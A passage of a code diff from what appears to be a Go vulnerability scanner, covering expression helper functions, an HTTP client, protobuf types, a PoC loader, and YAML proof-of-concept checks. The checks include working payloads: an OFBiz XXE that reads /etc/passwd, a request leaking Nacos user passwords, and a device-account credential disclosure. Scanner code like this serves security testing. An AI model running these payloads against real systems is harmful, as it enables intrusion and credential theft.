decls.NewFunction("substr",
decls.NewOverload("substr_string_int_int",
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
decls.String)),
decls.NewFunction("wait",
decls.NewInstanceOverload("reverse_wait_int",
[]*exprpb.Type{decls.Any, decls.Int},
decls.Bool)),
decls.NewFunction("icontains",
decls.NewInstanceOverload("icontains_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
),
}
c.programOptions = []cel.ProgramOption{
cel.Functions(
&functions.Overload{
Operator: "bytes_bcontains_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
return types.Bool(bytes.Contains(v1, v2))
},
},
&functions.Overload{
Operator: "string_bmatch_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
}
ok, err := regexp.Match(string(v1), v2)
if err != nil {
return types.NewErr("%v", err)
}
return types.Bool(ok)
},
},
&functions.Overload{
Operator: "md5_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
}
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
},
},
&functions.Overload{
Operator: "randomInt_int_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
from, ok := lhs.(types.Int)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
}
to, ok := rhs.(types.Int)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
}
min, max := int(from), int(to)
return types.Int(rand.Intn(max-min) + min)
},
},
&functions.Overload{
Operator: "randomLowercase_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
}
return types.String(randomLowercase(int(n)))
},
},
&functions.Overload{
Operator: "base64_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
},
},
&functions.Overload{
Operator: "base64_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString(v))
},
},
&functions.Overload{
Operator: "base64Decode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "base64Decode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "urlencode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urlencode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urldecode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "urldecode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "substr_string_int_int",
Function: func(values ...ref.Val) ref.Val {
if len(values) == 3 {
str, ok := values[0].(types.String)
if !ok {
return types.NewErr("invalid string to 'substr'")
}
start, ok := values[1].(types.Int)
if !ok {
return types.NewErr("invalid start to 'substr'")
}
length, ok := values[2].(types.Int)
if !ok {
return types.NewErr("invalid length to 'substr'")
}
runes := []rune(str)
if start < 0 || length < 0 || int(start+length) > len(runes) {
return types.NewErr("invalid start or length to 'substr'")
}
return types.String(runes[start : start+length])
} else {
return types.NewErr("too many arguments to 'substr'")
}
},
},
&functions.Overload{
Operator: "reverse_wait_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
reverse, ok := lhs.Value().(*Reverse)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
}
timeout, ok := rhs.Value().(int64)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
}
return types.Bool(reverseCheck(reverse, timeout))
},
},
&functions.Overload{
Operator: "icontains_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
),
}
return c
}
// 声明环境中的变量类型和函数
func (c *CustomLib) CompileOptions() []cel.EnvOption {
return c.envOptions
}
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions
}
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
for k, v := range args {
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
var d *exprpb.Decl
if strings.HasPrefix(v, "randomInt") {
d = decls.NewIdent(k, decls.Int, nil)
} else if strings.HasPrefix(v, "newReverse") {
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
} else {
d = decls.NewIdent(k, decls.String, nil)
}
c.envOptions = append(c.envOptions, cel.Declarations(d))
}
}
func randomLowercase(n int) string {
lowercase := "abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
return RandomStr(randSource, lowercase, n)
}
func reverseCheck(r *Reverse, timeout int64) bool {
if ceyeApi == "" || r.Domain == "" {
return false
}
time.Sleep(time.Second * time.Duration(timeout))
sub := strings.Split(r.Domain, ".")[0]
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
fmt.Println(urlStr)
req, _ := http.NewRequest("GET", urlStr, nil)
resp, err := DoRequest(req, false)
if err != nil {
return false
}
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
return true
}
return false
}
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
const (
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
)
randBytes := make([]byte, n)
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = randSource.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
randBytes[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(randBytes)
}
+171
View File
@@ -0,0 +1,171 @@
package lib
import (
"bytes"
"compress/gzip"
"crypto/tls"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
"strconv"
"time"
)
var (
client *http.Client
clientNoRedirect *http.Client
dialTimout = 5 * time.Second
keepAlive = 15 * time.Second
)
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
//MaxConnsPerHost: 0,
MaxIdleConns: 1000,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if DownProxy != "" {
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
clientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
}
clientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
return nil
}
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if req.Body == nil || req.Body == http.NoBody {
} else {
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
var oResp *http.Response
var err error
if redirect {
oResp, err = client.Do(req)
} else {
oResp, err = clientNoRedirect.Do(req)
}
if err != nil {
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
return nil, err
}
return resp, err
}
func ParseUrl(u *url.URL) *UrlType {
nu := &UrlType{}
nu.Scheme = u.Scheme
nu.Domain = u.Hostname()
nu.Host = u.Host
nu.Port = u.Port()
nu.Path = u.EscapedPath()
nu.Query = u.RawQuery
nu.Fragment = u.Fragment
return nu
}
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{}
req.Method = oReq.Method
req.Url = ParseUrl(oReq.URL)
header := make(map[string]string)
for k := range oReq.Header {
header[k] = oReq.Header.Get(k)
}
req.Headers = header
req.ContentType = oReq.Header.Get("Content-Type")
if oReq.Body == nil || oReq.Body == http.NoBody {
} else {
data, err := ioutil.ReadAll(oReq.Body)
if err != nil {
return nil, err
}
req.Body = data
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
func ParseResponse(oResp *http.Response) (*Response, error) {
var resp Response
header := make(map[string]string)
resp.Status = int32(oResp.StatusCode)
resp.Url = ParseUrl(oResp.Request.URL)
for k := range oResp.Header {
header[k] = oResp.Header.Get(k)
}
resp.Headers = header
resp.ContentType = oResp.Header.Get("Content-Type")
body, err := getRespBody(oResp)
if err != nil {
return nil, err
}
resp.Body = body
return &resp, nil
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
//utils.Logger.Error(err)
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
if err != nil {
//utils.Logger.Error(err)
return nil, err
}
defer oResp.Body.Close()
body = raw
}
return body, nil
}
+354
View File
@@ -0,0 +1,354 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: http.proto
package lib
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
math "math"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
type UrlType struct {
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *UrlType) Reset() { *m = UrlType{} }
func (m *UrlType) String() string { return proto.CompactTextString(m) }
func (*UrlType) ProtoMessage() {}
func (*UrlType) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{0}
}
func (m *UrlType) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_UrlType.Unmarshal(m, b)
}
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
}
func (m *UrlType) XXX_Merge(src proto.Message) {
xxx_messageInfo_UrlType.Merge(m, src)
}
func (m *UrlType) XXX_Size() int {
return xxx_messageInfo_UrlType.Size(m)
}
func (m *UrlType) XXX_DiscardUnknown() {
xxx_messageInfo_UrlType.DiscardUnknown(m)
}
var xxx_messageInfo_UrlType proto.InternalMessageInfo
func (m *UrlType) GetScheme() string {
if m != nil {
return m.Scheme
}
return ""
}
func (m *UrlType) GetDomain() string {
if m != nil {
return m.Domain
}
return ""
}
func (m *UrlType) GetHost() string {
if m != nil {
return m.Host
}
return ""
}
func (m *UrlType) GetPort() string {
if m != nil {
return m.Port
}
return ""
}
func (m *UrlType) GetPath() string {
if m != nil {
return m.Path
}
return ""
}
func (m *UrlType) GetQuery() string {
if m != nil {
return m.Query
}
return ""
}
func (m *UrlType) GetFragment() string {
if m != nil {
return m.Fragment
}
return ""
}
type Request struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Request) Reset() { *m = Request{} }
func (m *Request) String() string { return proto.CompactTextString(m) }
func (*Request) ProtoMessage() {}
func (*Request) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{1}
}
func (m *Request) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Request.Unmarshal(m, b)
}
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
}
func (m *Request) XXX_Merge(src proto.Message) {
xxx_messageInfo_Request.Merge(m, src)
}
func (m *Request) XXX_Size() int {
return xxx_messageInfo_Request.Size(m)
}
func (m *Request) XXX_DiscardUnknown() {
xxx_messageInfo_Request.DiscardUnknown(m)
}
var xxx_messageInfo_Request proto.InternalMessageInfo
func (m *Request) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Request) GetMethod() string {
if m != nil {
return m.Method
}
return ""
}
func (m *Request) GetHeaders() map[string]string {
if m != nil {
return m.Headers
}
return nil
}
func (m *Request) GetContentType() string {
if m != nil {
return m.ContentType
}
return ""
}
func (m *Request) GetBody() []byte {
if m != nil {
return m.Body
}
return nil
}
type Response struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Response) Reset() { *m = Response{} }
func (m *Response) String() string { return proto.CompactTextString(m) }
func (*Response) ProtoMessage() {}
func (*Response) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{2}
}
func (m *Response) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Response.Unmarshal(m, b)
}
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
}
func (m *Response) XXX_Merge(src proto.Message) {
xxx_messageInfo_Response.Merge(m, src)
}
func (m *Response) XXX_Size() int {
return xxx_messageInfo_Response.Size(m)
}
func (m *Response) XXX_DiscardUnknown() {
xxx_messageInfo_Response.DiscardUnknown(m)
}
var xxx_messageInfo_Response proto.InternalMessageInfo
func (m *Response) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Response) GetStatus() int32 {
if m != nil {
return m.Status
}
return 0
}
func (m *Response) GetHeaders() map[string]string {
if m != nil {
return m.Headers
}
return nil
}
func (m *Response) GetContentType() string {
if m != nil {
return m.ContentType
}
return ""
}
func (m *Response) GetBody() []byte {
if m != nil {
return m.Body
}
return nil
}
type Reverse struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Reverse) Reset() { *m = Reverse{} }
func (m *Reverse) String() string { return proto.CompactTextString(m) }
func (*Reverse) ProtoMessage() {}
func (*Reverse) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{3}
}
func (m *Reverse) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Reverse.Unmarshal(m, b)
}
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
}
func (m *Reverse) XXX_Merge(src proto.Message) {
xxx_messageInfo_Reverse.Merge(m, src)
}
func (m *Reverse) XXX_Size() int {
return xxx_messageInfo_Reverse.Size(m)
}
func (m *Reverse) XXX_DiscardUnknown() {
xxx_messageInfo_Reverse.DiscardUnknown(m)
}
var xxx_messageInfo_Reverse proto.InternalMessageInfo
func (m *Reverse) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Reverse) GetDomain() string {
if m != nil {
return m.Domain
}
return ""
}
func (m *Reverse) GetIp() string {
if m != nil {
return m.Ip
}
return ""
}
func (m *Reverse) GetIsDomainNameServer() bool {
if m != nil {
return m.IsDomainNameServer
}
return false
}
func init() {
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
proto.RegisterType((*Request)(nil), "lib.Request")
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
proto.RegisterType((*Response)(nil), "lib.Response")
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
}
func init() {
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
}
var fileDescriptor_11b04836674e6f94 = []byte{
// 378 bytes of a gzipped FileDescriptorProto
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
}
@@ -1,8 +1,6 @@
syntax = "proto3";
package lib;
option go_package = "./;lib";
message UrlType {
string scheme = 1;
string domain = 2;
@@ -27,12 +25,11 @@ message Response {
map<string, string> headers = 3;
string content_type = 4;
bytes body = 5;
double duration = 6;
}
message Reverse {
string url = 1;
UrlType url = 1;
string domain = 2;
string ip = 3;
bool is_domain_name_server = 4;
}
}
+70
View File
@@ -0,0 +1,70 @@
package lib
import (
"embed"
"fmt"
"gopkg.in/yaml.v3"
"strings"
)
type Poc struct {
Name string `yaml:"name"`
Set map[string]string `yaml:"set"`
Rules []Rules `yaml:"rules"`
Detail Detail `yaml:"detail"`
}
type Rules struct {
Method string `yaml:"method"`
Path string `yaml:"path"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
}
type Detail struct {
Author string `yaml:"author"`
Links []string `yaml:"links"`
Description string `yaml:"description"`
Version string `yaml:"version"`
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := loadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
}
}
return pocs
}
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
return nil, err
}
return p, err
}
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Println(err)
}
var foundFiles []string
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
+15
View File
@@ -0,0 +1,15 @@
name: poc-yaml-alibaba-nacos-api-unauth
rules:
- method: GET
path: /nacos/v1/auth/users?pageNo=1&pageSize=9
headers:
User-Agent: Nacos-Server
follow_redirects: true
expression: |
response.content_type.contains("application/json") && response.body.bcontains(bytes("totalCount")) && response.body.bcontains(bytes("pagesAvailable")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password"))
detail:
author: AgeloVito
info: alibaba-nacos-api-unauth
login: nacos/nacos
links:
- https://blog.csdn.net/caiqiiqi/article/details/112005424
@@ -7,7 +7,8 @@ rules:
path: /jars
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files")
response.status == 200 && response.content_type.contains("json") &&
response.body.bcontains(b"address") && response.body.bcontains(b"files")
- method: POST
path: /jars/upload
headers:
@@ -22,7 +23,8 @@ rules:
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
response.status == 200 && response.content_type.contains("json") &&
response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
search: >-
(?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
- method: DELETE
@@ -11,7 +11,7 @@ rules:
version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
follow_redirects: false
expression: >
response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
@@ -1,4 +1,4 @@
name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
name: poc-yaml-apacheofbiz-cve-2018-8033-xxe
rules:
- method: POST
path: /webtools/control/xmlrpc
@@ -8,8 +8,8 @@ rules:
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
follow_redirects: false
expression: >
response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
@@ -7,7 +7,7 @@ rules:
body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
follow_redirects: false
expression: >
response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"<name>") && response.body.bcontains(b"<password>")
response.status == 200 && response.body.bcontains(b"<name>") && response.body.bcontains(b"<password>")
detail:
author: l1nk3r,Huasir(https://github.com/dahua966/)
links:
@@ -7,9 +7,9 @@ rules:
body: >-
SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
expression: >
